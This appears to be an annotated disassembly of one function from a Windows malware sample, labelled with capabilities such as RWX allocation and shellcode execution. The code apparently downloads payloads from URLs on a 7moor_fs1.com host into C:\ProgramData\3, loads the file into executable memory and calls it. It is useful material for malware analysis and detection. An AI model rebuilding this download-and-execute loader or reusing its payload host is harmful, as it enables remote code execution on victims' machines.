Function at 0x3a81380
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x3a8c130
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x150
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push str.C:UsersPublicDocumentsMM7.txt
call fcn.03a820d7
add esp, 8
cmp eax, 0xffffffff
jne 0x3a815b6
lea eax, [ebp - 0x15c]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x15c]
push 0x5c
push ecx
call fcn.03a820b0
add esp, 8
cmp eax, ebx
jne 0x3a813ea
lea eax, [ebp - 0x15c]
jmp 0x3a813eb
inc eax
mov cl, byte [eax]
test cl, cl
je 0x3a81402
cmp cl, 0x2d
je 0x3a8149f
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x3a813f1
mov cl, byte [ebp - 0xd]
mov edi, str.C:ProgramData3
mov byte [ebp - 0x58], cl
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x54], ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 0x50], ebx
push ecx
push str.C:ProgramData3
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x4c], ebx
call fcn.03a81990
mov edi, str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1730874708617_jj.txt
or ecx, 0xffffffff
xor eax, eax
mov dl, byte [ebp - 0xd]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 4], 2
push ecx
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1730874708617_jj.txt
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x28], dl
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
call fcn.03a81990
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x28]
push eax
push ecx
mov byte [ebp - 4], 3
call fcn.03a81080
mov eax, dword [ebp - 0x24]
add esp, 8
cmp eax, ebx
je 0x3a81589
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x3a81580
cmp al, 0xff
je 0x3a81580
dec al
mov byte [ecx], al
jmp 0x3a81589
mov dl, byte [ebp - 0xd]
push ebx
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x38], dl
call fcn.03a818d0
mov edi, str.C:ProgramData3
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [ebp - 0x38]
push ebx
call fcn.03a81a30
test al, al
je 0x3a814f0
mov edi, dword [ebp - 0x34]
mov ecx, ebx
mov eax, ecx
mov esi, str.C:ProgramData3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x30], ebx
mov byte [ebx + ecx], 0
mov dl, byte [ebp - 0xd]
push 0
lea ecx, [ebp - 0x48]
mov dword [ebp - 4], 0
mov byte [ebp - 0x48], dl
call fcn.03a818d0
mov edi, str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1730014502120_nn.txt
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
lea ecx, [ebp - 0x48]
push ebx
call fcn.03a81a30
test al, al
je 0x3a81549
mov edi, dword [ebp - 0x44]
mov ecx, ebx
mov eax, ecx
mov esi, str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1730014502120_nn.txt
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x40], ebx
mov byte [ecx + ebx], 0
lea edx, [ebp - 0x38]
lea eax, [ebp - 0x48]
push edx
push eax
mov byte [ebp - 4], 1
call fcn.03a81080
add esp, 8
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0
push 1
call fcn.03a818d0
push 1
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0xffffffff
call fcn.03a818d0
xor ebx, ebx
jmp 0x3a815b6
push ecx
call fcn.03a8209f
add esp, 4
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x24], ebx
cmp eax, ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
je 0x3a815b6
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x3a815ad
cmp al, 0xff
je 0x3a815ad
dec al
mov byte [ecx], al
jmp 0x3a815b6
push ecx
call fcn.03a8209f
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.C:ProgramData3
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x3a815fa
push 0x3a8f138
push 0x3a8f128
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x3a816be
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x3a8161f
push ebx
push 0x3a8f138
push 0x3a8f114
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x3a816b7
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0
test ebx, ebx
mov dword [ebp - 0x18], ebx
jne 0x3a8164d
push 0x3a8f138
push 0x3a8f104
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x3a816b7
lea edx, [ebp - 0x14]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x3a81695
cmp dword [ebp - 0x14], edi
jne 0x3a81695
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x18]
call eax
popal
mov eax, dword [ebp - 0x18]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x3a8f138
push 0x3a8f0f4
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret